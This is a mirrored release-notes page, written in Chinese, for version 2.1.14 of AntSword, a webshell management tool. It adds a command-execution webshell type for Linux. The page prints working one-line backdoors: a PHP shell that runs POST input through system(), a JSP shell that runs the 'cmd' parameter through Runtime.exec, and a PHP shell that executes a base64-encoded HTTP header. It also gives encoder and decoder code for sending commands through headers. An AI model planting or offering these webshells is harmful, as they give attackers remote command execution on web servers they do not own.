MyGit

2.1.14

AntSwordProject/antSword

版本发布时间: 2021-07-25 11:57:04

AntSwordProject/antSword最新发布版本:2.1.15(2022-07-17 13:52:54)

核心

基于命令执行的一句话类型, 仅支持 Linux 环境

只要有一个可以执行命令的点, 就可以快乐起来 :) 更多内容见这篇文章

<?php system($_POST['ant']);?>
<%
  if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
    int a = -1;
    byte[] b = new byte[1];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
      out.print(new String(b));
    }
    out.print("</pre>");
  }
%>

注意: Runtime.exec 方法直接传入字符串时不支持多条命令拼接,需要使用数组方式

数据库管理

利用 mysql和sqlite3 客户端命令,需要目标上有对应的二进制

系统设置

在使用 cmdlinux 类型时,如果接收参数在 HTTP Header 部分, 请务必使用编码器,因为部分 Payload 有换行符

eg:

WebShell:

<?php system(base64_decode($_SERVER["HTTP_CMD"])); ?>

对应该的编码器如下:

'use strict';

module.exports = (pwd, data, ext={}) => {
  let headers = ext.opts.httpConf.headers;
  headers[pwd] = Buffer.from(data['_']).toString('base64');
  delete data['_'];
  return data;
}

base64 解码器:

/**
 * cmdlinux::base64解码器
 */

'use strict';

module.exports = {
  asoutput: () => {
    return `asenc(){ base64 "$@"; };` // 注意此处是 Shell 语法
  },
  decode_buff: (buff) => {
    return Buffer.from(buff.toString(), 'base64');
  }
}

相关地址:原始地址 下载(tar) 下载(zip)

查看:2021-07-25发行的版本